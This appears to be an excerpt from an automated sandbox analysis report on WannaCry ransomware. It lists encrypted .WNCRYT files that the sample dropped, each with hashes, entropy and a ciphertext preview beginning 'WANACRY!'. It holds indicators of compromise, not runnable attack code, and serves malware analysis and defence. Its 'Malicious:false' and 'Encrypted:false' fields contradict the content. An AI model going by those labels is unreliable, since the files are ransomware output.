                                      Preview:WANACRY!....3a...`.f..\./9...)...ic..;.p..^BF.I.m$.8P.E.C#.....l.q.\O\...s!...;....'..&.|..-..Or...M.vL{dg.%.R..F..Ki..^.#P.-.{...c4q.O6....$.G...I.E....Df.w.`.Wf...zdV9.v...j.&.......`.C.JPf..4_.u=..d.Tp./cNh...I.r...Y...-6.+9..;..a...:o..je.^.........~..*IA.............g.v1.Rj....;...-.O...@......P(e.zC.f.hq..`HJh.-,1B._=..-..?...U....T......I.9...X`V`..W.du......AF.s1..z.y.&L..[........`. *)...i.?o..Q6)f...q...o%V\.....^/#.........C.........J.%.A.._.....p]..fy.......f.6\+-...7..~..,...Y...L.V.|...0U,...Go..=..n4.....k`N.}...~Ny5r.SN6p.....&.W....tZ=a;#.......[X.....i.B0=..=fL.*1....%K.........U..`.@..D..5.'.U..._.[.88.8....V.......S......M.P.......a.=.....e....j....f.C.'.W.5V....g.am.-`.mt.6$.U9+.. .......^..V.L...?..t.e.1.~E.dc.\7{#..I.#3..iB...b...b.....q.R.;....s).C..h}:Mj..eQ./..7Q.....Ot....5.P...c~..]<...p..A..xma..-..v.E....jyQ...:.@.lZ\{4...I...?..=..._...O......dZ.....9l...R...k.....DZ..V.6.M..M.T. .+^)e..DHxM...P.h.+|...........n..

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HMPPSXQPQV.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.821300164025369
                                      Encrypted:false
                                      SSDEEP:24:bkuboYj0aVB4fBEaDv2vQ7AW6oLMi6LoQbFC2B4drMTR+eAaXklqQCr:bkszXifrv2vQ7kE60QbF4SR+MUPCr
                                      MD5:B6CAE219BF4652EC33085BB8C32D18D6
                                      SHA1:2D1DBEE90DDF2A64198B6805941A0936D6A0414D
                                      SHA-256:A1334D32403384A40B1192C02185F79379C6F7CCF4947B4C41E1429A3D78D2A5
                                      SHA-512:BBA1D042B84DBF1B9779326B1869698608D8BF4065F77361D53E3E5A3B7AC2E66D2DFC98DF1C0405027FA393BECD6256D7980FEF53E52B3D4CA785DD46C684B9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....G....".~.uU$...../-[.|F.s...v;.._fo...<..O.D.....I.B....d.Yrq......`....W.x..8w....A......o.(..3.}.).........3;R...n........\*.nxR}...~....Wm.j...x.V.=.L...4t..$..i.... ..Sc~....%D..0T:.....i...8x..b6...(.E..|..u.w..8...<...f....&0E._.b...6...L...............~..K..d..L.B|V.".....z..`..@..A..].P.7.}...^....7.....v....Qt...$?.N.T=.AM..n.q..?5.O.J.:..1K.X.}..{...aT.......>...XJ.._....F.B......h.!....-(....7..8.t...Z...p.#..M.):\z&)i)..7.U...Y@..e...F.^a.sw3...pw].<@.).....|...3M...@..]&...E.I...{..M.Mmf....F.....Fz..i...R.P...F.}j..i.b.!..HY...X.J.D.nH.[...U.e..g.n.4..=.Um......z......V..#]..: ..|`........"..i...K.x....a.R..........E.}.T.m..C.|...4..sG..L...L.I..(WDw...t2..Y......'..Qt..e..{G.S..........3Q..4.}..K...#k..0..7.>.. .%.e..d..i]..QT..,.R.u.#...\..a...6...$...........< ..n?.:z..;YQ.?....3.BesPr.......Uc*.Z....._;$.C.v..........3....d5...].t.z....`...m.c.R.A9..=U...:....#......v]..r..-.=|L.{z...S*.-4h.f...?.S....

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IKCRSXYNJM.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.850435373428714
                                      Encrypted:false
                                      SSDEEP:24:bkMWZYLVLs9IBnmNWSJaXs0QShUyqeqmB/NbVFVO3H/VxzxfAq:bk7ZYZg9IVCLQVhUyPCH/FAq
                                      MD5:F0099E9C55986FA6229234F14595BF12
                                      SHA1:A8DF927D306607D4C02628047362D1B8B8F43D24
                                      SHA-256:C56D2AFC302F680D08DB75BE6B754564A2BC55DFAD77B71E75363675660020F8
                                      SHA-512:68574F1338155F010EF24FCB83FA1FE24840AD769B748A956F631358345A5C7DAA215D97FCA70AAB334357E9026EB4547F125421064A8BF47D297F3B67EF3724
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....r...*.}......."Yr.LA...e.=fz...e..?.5.@#%.]B.G...Z.w?p|oJ.;^}....2.I.T..s..m...6.K.|.)u.].%.....,.q-.nL.....rb..~..6......L%.W2...bN.._.....#..+..,.B..C.KV.J.lji..v....'.....no..1.M.Y..X-.........*.3....B.....b.F..m6q...7.@.,.Jym...6=....W.5...+..............g.zt.w.....s!.zs|.K...t.!.....?...U:1.e.*.D3h.o.$.ug.....d.F..l.+TP.1....0X.....b...w....p.]{s.l7.M.......Mq......_AF.,..tI..E./ .,.E..X...........]8'..?Ce."a.e.~.9..W{r<.U..&..M.|...UQ....L..waz9.. ......O.Rn..^.V.....(...)...-V.p...=.X...I92..D...d1>.k..c.u~9..p.......+.,j(.#.o,..c5..?Y*..=.Ou.F.*.T^P..>.....m.w..5.u]......|.uyt...%I.&p...T...".2..{.K..V..V..-...d..^...n...d...!....JX......(........F.;b...h.hMuoH9...C.".4...@........KY.n.e..$R..._.D.F.M.<...k.;S{..L.Y....7.O4B.#.xS...9.KIXV.....e..R..+z.,............\..?.J.....S.?.-.1.Tns..).g...B.../...)...C.sS......n...C..:......pQ.Yv-.5 .........6..I...8..b<j.6._.....<.3....?8\......R.P+S{Qo..c..u...mD]...K.0@...`.H.....j.<.S..

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8500040101338655
                                      Encrypted:false
                                      SSDEEP:24:bkxvUT4+0gZIh6fhC+j1PmYpKC5yjrrba3B6rRMXss9gukKBONk62NbPK5:bkF0Dah4hC65l0CQj/bYB6rScs9gQMNz
                                      MD5:E0FEDCE50C4E00B9C9D9F265D990D0F2
                                      SHA1:CF3663110CAD998B17CC6B16F3B341578BB1EBB0
                                      SHA-256:1D1DA4F3AFED887C3CA47FD9AC7C4396D1BC20D0C7AC35D7C23FD5A92BEF4C2F
                                      SHA-512:0DE4E07B17DDA84A3EB6D478ADCC12231E01CF7D51B80478C19C693E98794096482BA4B84C6F58CCFDDBD68AE22C5E97D5B2E084C3AE2581025B5FEB29CEEDCC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....._[.....&.|b.r..d......,aR9Nf...K..-_}....)...-.....M.E.fT...M..'5.H..fV..z............).;hBeUfQ.qx.=...L.tZ.j#l.E..."Xy\10Q......A........x..J..fuc.......8..{..:..pm..........6;5.Z!.l5.....4.Sx.N...&.u.5...c.....h....3QSZ.yw....d..}R.C.?.+L..............?.J<H....\Wl_._...Da..........am.}........X.......r......L.bM..1yD..C...J....T.....>.~.......W0.....e.H...W........_.. 8.a;..rA.qU3.C.HZ.....p.C.en-.....l.q..^.l....T..k@... .S..R8`J]'FVf.*.;...y,....#~..F..\3?..L/_.?.u..3FT&.X.z.G.%..yx&....i.l.]y...OT...L.g.>Z.u.....q...~n.W.f%...`WT2.J......\..[q0.|R..?.!.yw..h.N8..T._.).Yo.....{..".!.Z.M.v].Z..e.+.....h...3/8.......#.w.....,....0.."......z...x.W.k...U.<..Q.$.Z.H".U...6..>bK.A.Uh..8.....'.."Q.7.X.[O...x.N...?.^...I.E.v.-.]t..|].Q..%......F\RWj.)9F...S .{ZK..B.X...|.c....K.EP}... a..wG.}.&2....R0zK~../.M...i/..(,7...Wv....=.Q..W...P.Clt.R..i..,..j..j.]..Z..`..vJV... a........4lch..u.....7..-.....}M.$..bu...*.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.839143686746292
                                      Encrypted:false
                                      SSDEEP:24:bkibHQcb3EiUErP6W0Ko0aZZszYE4iTw/GIUjSqpZFSgGhs0kKWIKs2EFjPp6R2p:bkEwWEiUEwKGfszYcFRSi3P+TgIKnEvN
                                      MD5:AD906C27CC43C38F53643793C7440844
                                      SHA1:1D7ACE2DC8E1F832E6B6E978F43E362927B72F39
                                      SHA-256:743D2665B0E3C622B265FFD412AF02911E17E920F6B84FF7ECFBB1F932D8FD7C
                                      SHA-512:F13B095C0399F7E419BDF03824259D7B45FD74BF771E8F7B566944D845037194CA87C8D2F173490D87A16C5C9FD46D8F25A7F1D43847158296C423589C7447B6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....[...g...#.Kgj)O;...-...D..}..K9.T....5.)A....,...B?....52...i./..vW5.Rg.RgM.).....w...Z.....h.I..:..1....q.5&:.wz.....b.A.!e.i.M..w.....O.~?.Y.>B.q.^;i'......b.r"s...P..%d.N..a..\...7../...z.3.G.7.......es..bI..}*KJ..*.tb..rH.Q..._.2.r.)..................`.iK..W.y.9E7......Jf...r.......P.....,sM.7.".S....'.^..7_...0...8!3..jU/v.^.?..X...i.M%........m1O.I. .d....w\D..f....,3.|7.O.....`.....RZ.....{.....)i..Z.eRYd.P.....8...@..e]..C%L...<..mdVMa.@.y....E. ....w...fW...I$1.C.Y......+..b.kp..Y).h.D2/..&..=...O.&...O.Z.J.4|.c.=..AF.\.y6G ..Ec."]..-.%...K.?"\(..S...p.].....-=..e...\...............T.y.ud.1...,G!..Z....#v%m..Cp.:.!..".B1.X.....z.%.>GA...e.............G..y..!*_..t.....h..i.9.#.......!..#.f{m#..uI5_...._UF.G.*.....l..v......?O.3.6..K..!;..87g.P.T...v..-......E..],H<z.Gu...mc..+c^./u,.@..M.....N..r1`s..7LXq.>....Z..h....9.....2.i.d.oL..........Sh.w.. ..i..^.....&.u........@...&._...u....\K...<+..\.D.......t.|.).|..{Pb...b

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KBIFTJWHNZ.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.85537973253699
                                      Encrypted:false
                                      SSDEEP:24:bkumt62KeFxYw8jnHBLNwLJWaqOUTRQGjQrnppAJLpkAtreWY3WEoVkP9TOsrTYn:bkd7KcuZjnHBLyWaqOWsk5VeWmKKFOsI
                                      MD5:68D3712821D4DC306E6CB706710FBA97
                                      SHA1:14808082417C5757BC8831F1E7344A3D1B730E9E
                                      SHA-256:347749BFDE4CC04E07DBC58E678711E581463CBA37E1B096BB959CB36136C1BF
                                      SHA-512:2DB93B9590BEF2DBE90D0032575022E6E20B5AC3F99C236F433EEACF00C45B29ADDE6C06C7942E4A09C332003A20D0CF43486266E6C93AE303B4EEEA4C3EAED9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........:..,'....QM.O...[...^.&..... ..I....k.KW.22.1....;2..T._x...A..I'...I.k.3tK@i...f..u|'o.B....v.'.]U.K.{.I....X`.....u{..R@3.aj.c.....-.=..i..TN..dw&|.k..Z..H.Pm.i.JFI5%...g.Q.....h}W..c...R..=D.._&.'..i!D.........q..E6...=.Rh.....X..n!.a..n................b..d:.g.[2_....~..5......cd.!......(.0.......G.zS{.@..<'.:..d.nMv.._r&..$E..s..-...W.C...........{Mn..D......R....P...!.xKM[y.8.@....3VD.....-...._.:..M...Q.iK5.+.S..Eb.=...g.g....$e.&E...nW.Q....Y...?.7...6t.&.u....E../.|!.a.ehN8......T...$N....C-V..|..y1.....v..(...G.....Rj....3...<[qF.o...LB.,..L...*d..w:.2.E._[k.....l.Bt;....+.1...q...=0...L.^f..Q.X..v.W....."Az...2.sU.....{R.Q,...8..e...9.....D.{7[O...'(.;;..AW[.|8{a..pI{..5;..+....v.H.3|.>.3..H.)....._.F[I<...7>.G...r.N..>......W..|"......D.....A$x.B>...w....quu.....6[E5.A5.. .......AQ...:#9Oo6.j..YI...=.e..+..(Y....t..R.D...sD..{.Zn.6.`..Y.~.Tc...)..q&..0H.1..y4.h....F.o../.?...h....l.@ .P...?..O;.../.b.8O..8.i.8S.\..tK.N.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MMTCVTWUGY.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.83872387474705
                                      Encrypted:false
                                      SSDEEP:24:bk5IuUESFFMcCKcfYfoeIMhP7MlnmZSQXBvB2D/Tkj38VmhoDUl+:bkat8coYfoMhTwQXBvsvY8Yio+
                                      MD5:826BC822B1C376FAF41B37A45223715E
                                      SHA1:6C3B4DD1142675FB90246E2682A177ECEFD192EB
                                      SHA-256:C82F7DAF7019E9274DD4D3E12D568A284BCB1BDA67AF836C4793F64A7E9C716F
                                      SHA-512:503B9EDA6BB858F675B01AA0ED195464E83438FCAA591632CD15B734951F30D2B1FBA75D82F05D866720A6178C39CC5A3C4FE959E03495D35BBB78E8A1DF5879
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....)].........A........o5..kA....ut...=_......6L..qxuL;x.E._..._]...lA.L.0^[nT...@.....]...H....oQ.N@r.q.H..YoR@.}|.-..N.....f.p}..}CG(....:d..A~..].*XP..+..X.z.Q...u.d&..-......SJ.01.j.8V.1.AE...}..........R.O..=.x..W._o/...#<vb/...._S.......^...............>w..q".M..^<IZ..G.z.a-H._.Q..+>...Z9m......e.[._~....i.U.w....C...O....ig.KW.*.,...........ZS.b.. .Z.P.....f.+..'#..\).h.....i..G..NPz..~}..b...^...W....@.@..`.z.A....?.-.<./9f.`*...B&V.T...+fz..\.sW1...G.D.._..HYd.G.....%..x..-..^O..L..^..YK. .-....{..M6.q...QW.%g...F..3w.woa...g5..C.l...9.3...k.kG..Y...........)........"t..O..W.N......H}7_..0.`....n...9..M....I./ ...a.._.~.......4b qX..N.....$.....u.....\..Zs.._.!..W..D0.Oo/O......+k..b.}....gKN..)T..O"D1..m......C...Z+..>.......N{....{.$....fjP...C...(p.3v.*....J.l0)n9..5w...4YB.~.5VcV..W.;.......e.+../.M.JM.f._.*.)......A..;u8.}(V.33N../..W.... ;..ML.y.>..F2p.vJE..|..P..b..e....[.....>@.1....imw........9M.W!....."].

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MMTCVTWUGY.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.853143679855243
                                      Encrypted:false
                                      SSDEEP:24:bkz/7KzaxVfXq3m73ePYxsZ+U8VOMeShLPjFtiWaz+bQnj9fFY0fwh6M+cUdxPKz:bkzPVfXq2KwxLReSdiWa6u9Hfhc7W+1
                                      MD5:614706C36023F24DDC69F74FCD8F94A5
                                      SHA1:CB53F590C607DA86B68075D6BF12DE874C91FC51
                                      SHA-256:D5084380E6206AB4AA374E61E88DCBFB687DBE6B39ECE5D3AB9F916E47330C5B
                                      SHA-512:60213C5A84AD21DDDAE1FEA635924147E97157CAABF08D08A9B11A3F2464D5FFFC245382DE60B4B8BB91A7F2E733C569D3AF9D3D719C9C85E2BF1C14871323B9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......R.]..T...j3.. .......N.X...[.5.m...5&|W{..w..W..8.y..Jx.=.._(......y.@.b...ah..rYd_.81(..x_k.#..F..[......b...X.r!(.."3....AO....D..w..[..u..f....`/,..+0bj..&{>...........>P9Z.......Z2.......}....1-.^...~.Q./........V...A..$...kt.TP...}J..X...n.............b.X.o:. "......}...B.^2J...s......^.:s...'+......;..&...Ok.Wu%.{D...J.........c..fh.'...;ch...........8f...'....._..7........].r5..q.!f.J.>..T..<.l....c....|...7...d....z~...;(.,.>......Jb.3) ....n.}....kC.....B...w..V0....x$]V.q..5...."F5wr.=YMhrE].....6.....In...........G.........F....h....SQ......B>.....+..VuvUk.vN........"Q.....W....-...&R.*...c-....O[..qlJ(n=.#.Qo.}e.M.'_.;...q...6,;G...V.....n#..V.{.,s....W..L\...m.V....I.3..n.m.-.&..%.ZE.....E.".f..RR.Gr.r.fX.~...v...I+.ns.j..Z$}q.r.3;O..D..V.<r..,.U......>{..0..[5..4..~....U..L..4. ..?..H...<..Q.i......w1.[Uj.SB..1......L.5r.%Gy.......b..(:nj1.*...1r>.'....n....8..B...{.RXV....wx!.i........}Bf,..F.K..8....,....\.&H6[...d..~.....

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MMTCVTWUGY.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.854363774263299
                                      Encrypted:false
                                      SSDEEP:24:bkwEPphu+IjWCpJIaMLX8mDy5WFuLA0j/Ae4+VcKRxymZC1gIwpy:bkhpQLjgaiKIFuLAK/++Vcexyf1rmy
                                      MD5:ABBCBC0F0A5FA351AF2FAED6D26ED320
                                      SHA1:B0603920F736AE78E3D8B96BC4267FBD0E17169E
                                      SHA-256:7866E7F9DD834E851C99C04DABC1CC178D4BA8E8A89E3EAA70CFA7231EB8CC74
                                      SHA-512:09B93422A35D7AD6FBA83C0928C6F8C8C45B16044B12CCB3CC5398064F21FEC467684F4EAAB23870EDEBF90B70653D90286C5EE6D15F809C1F8F182FA3BCF54D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...... .....S...f.RT'..|..Z.X.|.lE%M.T....=...:8.......?...L....ks......~E1x.....Z....F..~W.,HC....THkc.S.qUB..x;...y.....l"8Af..<..S.....g..H}.....#k..PA.|e6..D^#.....|7la..L..%.o&pb.BYGk..O..2..o..]~@.........).yr.....1,........9h..)l..7Q.......W5VP.............Y"~....%>...>D.I..C.A.m...t6V.1..I..e...z...i..<j..N.G.z.x..@......_..g&'.-..>.#.!.lG;x..........-..Jv|n.c.6.@-....w...e.:P...qV..........L.}...j.=G.b.B...z+.V..YT.`.+...".l..t4....o...:E.l.f.`.b...E;...p&..{.:3j...7...d).|.. R.\..J".C..X.5pUru...h6..v.No..._ "..<U^...L.)Pu9.........p....{y.]>...........,#..Er=[.8.'9.tkQD(.m.Z5.....C..&.M.Gj4.>".-[..m..A`u...L..s...o.F..].A=.@w@..~.p..........o....v^.......,.....chli.q.6u/.2....S!..r._....n...Al;.(..3....9..../..pO...X.....Q.(..X).t.../`v..O..P....s..'.Ww.......h6..o....A$..[ 2.!.Ft.A"e...6=.<N.@).L.....u.p..U..L*.dF.O.F.H....ci.C>..b..G..q..x>..1.*(1>j..Oe..c.a.}=..k...Y..%.....+.4...-...t..I.FU.9....<T..UD...R...V>..y.p......z...E..

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.835261233051108
                                      Encrypted:false
                                      SSDEEP:24:bkLZUS36vQPQaVDe4AUHBdOjztBRmBKYH3c+6JsGUAnRJtiW/fmTvdJ6bnmFsv:bkLx5QaVkUH3OjzuUsGPJtiW3mD36b0o
                                      MD5:1D26BE4945EB549ED8909ABCBE64DB49
                                      SHA1:7A41E5DEBDFBA5C9461A46AAB76FEC3CF79BFF23
                                      SHA-256:AC3EDD45FA9EB663D9680E4836CEBD674B63B188CB1D24EF21B8117EDE345517
                                      SHA-512:4786411BD3A59618860318D3B0D1E9914124DE21C26E2018D8867ADF27BF76A505156260294155FB03FBD81FA44053935189EABA616A11C65C14F3B4B238915E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......n+f....,......cN..c...m.....rHE.`...W....4...{E.F.O.&k..S..........'9X..w.@..2.).}........y>7..9=..p[.....g`...O.UT....~2P...%...\(.@o.A.En..%..Uc.6. .=........9....Z.O.hDz.\..+...0...GE..C....T..E{....J..#..6.zUJ...Gq..<^%.........>.R.0...9-8...............;..IR%u...../..5&..>k..}.!.s.Bl..ah.t..j(.f..KJP..oL|..^.y|...Y3.tG..S?.6...$.."R...s...0._..M4..AI..6. .<.OHv.l..2@.2......S.X...........L%.x.... @.C....l.5...E"-.p..>....l..!..m..p..6..N.^.;C.W;F.q....!...P...-8H..6.raJ...}...%|.....A.rP..I.^....:d)..h....N.@.......J.....M..;..O.}]..k..P.....h:...2`.3i....QY.w...FHW...,V.9ef..X.T...P6Of4./.2.w..|z.S.g.G.>*......^...\aYH75..}2*Dm....0{.....*Q..2...C.....B.....y...H]...o..U......M.,..&.....T...g..%7a.N.......h5..}.H...mj.b..>.\=..4.n.?W..<...].....H....c1..wc.x.>\..L.3 ...G...F......D........>....F.m..?.U~.l...MU..t.J..O....U..epXk.......S3M&.rK.>;E.).9)..R.=#.Z...F".=.3.....f,.1..}.......[..)Q..C...&wv..B9}..e..b...oI.5...SD.8.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.868531799050256
                                      Encrypted:false
                                      SSDEEP:24:bkH2SxtkVUeCBZE02IIvOqwo/CzHRRxYfPhUdPf8fHFirdpdeFwMVen:bkH2hVUzZl2IAOqwo+RRSPMPf8fl6dpb
                                      MD5:D4C9564E7071669926AD811AB001BE66
                                      SHA1:6FC20E47435D68E39123BA9817BA266CBA04671E
                                      SHA-256:FF4739CEBB3DE6D3D373D57BAAB7FCBF9A27717904D77B45F8B46692B14796FA
                                      SHA-512:871683739FF3DF00F6E0CAF630DCE4340E747F8AF8806942F99B1B59BF5EE55B9A081B29E7086FD40965B32DE94B6D4546679CAFBD54870BF21840884F38D9C3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......L..\.5)..._...k.HXq...rW..u.G._....83..\.;.DA..Tm}..o..."...6.U..J7..2...AD....;.....k..E.N....F..1B..V?.B..5....8/...:<.$B)(....#=.A.h ..Z.(.F..OCKf.....>!+..3.y.G.l.m..]...a#$.^h|.h*......~.e.A..q...i-..N.6Lv.&Or...Kg..z..'..CQ..."..'..N8:..............c.....Duk.C..G.Q:.mZ.y..V..>.P.a./.A....e.T.....,..KA.0V...G[.P9..j.@P.| 8ATu....@.&.`..<..2.A.#.u.c...$X..N..pQ....v.........G..k...{3.m..CBS...S.&>P.....}...h.6.'...R.e..vp:f.....{.QAi.....;cr.t9o[P...6.t.[&L..GFp...-...L.w..{/. G...=....gI.I..=...-.U.f.d..<<.ne...\...../K......{}:..n..9+=.9.%..c%.o{.=2.../..w.*.4..0...L...1..YML..4E....+S...{.BUc<...f..I.8.....).e..<...2...d.t.Lo/..........>-..h.H.%...im...W..~.`9.w...g.D\.%..fyS.$..c|9.E.}.;?*..J........V..W>0o.g...f;..u..f.!4.f.qM.vb...f.[.6........w...}..2.0f..[..*V..].4.j{...R...^.........X....8rr..}.........}.`..F=.b.........z7.Ex..3kw^.q..j.g.D6]NY.........>.1.....ME.Q...2.u.$,...u..WNW..~..z.AY..Nz.v....^hYl.....-v

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.853217950455909
                                      Encrypted:false
                                      SSDEEP:24:bkqoZN09Rn0RUXn8MdVcad3nae1ILY+TiYNkRlnnS:bkRXin0aXHdVcAX7ObGYNSlnS
                                      MD5:CF9BD62961C61AE11AEA6BFCFFB539EC
                                      SHA1:D3B6ABAC9E8414DD3F4607CE688F092AB2CAA627
                                      SHA-256:0F8494DF0C781215A2885AE85BF99FE7FAFCE29AB72170717E3FEBEB8F6B0991
                                      SHA-512:35D304D15164A83A8FC4D067F90D9844E277384F25723A0C4A96E733621E5A810CAA0E3B2848FC8144C6A97D22F9F88CCA1CD955BD696E87575916E6AD3C3995
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....x...Y.YD...e..z.C.!..O{.C.EA.'b,sC...`.&:.r.`$...;i.....+.<..O..v-d..|..~f.... m.Ku......#.k._..8..z?XW..L.n.Y%\..K.......K!0...J.v.D9...>....0.....?.=jpdI.....2....K..I.{".eFh..*.A...20..!.R...J.8.Do.p....F?.GH|.-{.\.........._....R....S../..............cV.o.Q.......+...'..?.#.];NT.I......Dv.`/.q....f.q.......7Xc....Z.q&......HC,ZK..<....;L.0...S.?+........H..o..H.e.......>.b.q#%..kc........&..(.F.nx.%q.hN-R..=8.y0z..2L..>r..:.;..5.$.C.@x........hf....]......\o.|<.ILk..,F..(w..kE.3..'H..@:UPc.#.>.r...l.*...}....1.|.....!.tk.f...-.V...v............p.X..".Z>T]Zr.9@....\Y5l.u._...H...%.P..v....GSRN}.k,_[.......~X.?.....\...f.[gi,.(.WM.Ta.@..vb..>U.:.gp.. .'Pud'......y.M.......X....`s...QcX_...Rn._...r.MfiN.`.A.5v'.eL....~...$+.~=.L......o....C.!v%....m..$...1A*.....\..m...e.1......3....5......R...#...]..$..Z9[S..LKh.j....._...]..P..:)....P.....X.S.........^.I...kq.b..1......c<:z$.]U.^9d{\Hr~..d....I.0].....l#1....6Q...l.A

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.853365228511183
                                      Encrypted:false
                                      SSDEEP:24:bk76POn9EiRbX4YBoSkuDYhtigQkykZy6cWx4h2x3yd11iktJjKVmpb1P+xfID41:bkmGn2iFX4uoSHDYxQ7IL4h2x3+11tte
                                      MD5:55ABCD98BE6A5FE84064205377C62445
                                      SHA1:219E21510BDB500DEE4F2EFF92C3849F2F5A9950
                                      SHA-256:1CBD35178C2833E2C6EE30CE6CA23AE77C476C53743CEC9A095AD5BCA29E8986
                                      SHA-512:9B007B012AEAB2E4C42291FA72A1260E3413B3E6671FE9D0C245CBE58035CAAADBA828D2AB6B1E4CF1DA0E0FD70577CF7CC511DBBB40DEB63B3A6B27B2FD2DAE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....'g.9v!s2.9&-#c.>....s....<E..&v.2.t..^..?LDJ.q..5..+..m..\..+S......^n.<.Q...9"PKs..m..........Q.....v...,...[%...%..s.T..8m8...._'......7..y...>>U...C.H..t..8...C....L.......X.@&Ds.....P.~..2.*y.....r.z1....:.P^\@.?2R.ul..Q..P.#}.83..3.S..."E...............9.>..#....CT....VL.......i..|bV..`.D.]....+.....M.......5...O....'..F.v.)...q..{.9 .Oy.UO.2$..........a..Aqm......=T..i.kH...E.8..g?E2..}.2..d.)5.4.vP.u.......\}...J.|$.<oU....H.._RZ.;.X.E.|....Z...=a.%.-.^.;....N.._?Y...lY...nh...../...4.....l.F.+.n....b...@.~.W...xG:.S.d@.0`B.A.n.O..w.&.....f..G....T...../.....[&X.....I.)..1.E....e;....|.....EA.}.....A...t.Yq....x...93......c..n^.H...hu..A...6...<.[.'vJ.< .ny..?9[+6.K...\...+%.|.).=.$.0q..+...|..S......7.t..;..M.4...."...T..,.........a.(....&...._..]U@.CB.@u.....I...l....&.q.I.....$.h......Q.8....y3.kp.....<.2............7].J.,.^0....v.1.....".0..M...y.'... ....p......7_....>..y.i...>.....&n.f.s.F8.W..1$. AI.17%`.`Zq3..

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWCCAWLGRE.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.832445596572117
                                      Encrypted:false
                                      SSDEEP:24:bkD28fm6cxLZIVyogKAlKJjf7Zv9J2k20lWjjwfoJkWJqvOw7PhXKQ:bkDvm6++NTF9J20aC2JIOw5XKQ
                                      MD5:C7B631ACFB43615095E8B6B4B1E75C1F
                                      SHA1:32C13CE30D62D5675E7D01F3E4C10431AD0F7C81
                                      SHA-256:348730D76C3DCAD5EF19EC7FFFE915B02DFA6E122BA6EFB0FC70382A3E40AE9A
                                      SHA-512:0BAE9335C0004FDD5BB33FD501C123484C4A0AA1183BDD56C775E2DEE38C00A825EF6230EB11084E90FACC1E67078809DAC152BCDA863A10A1BFC9599880ACBA
                                      Malicious:false
                                      Reputation:unknown
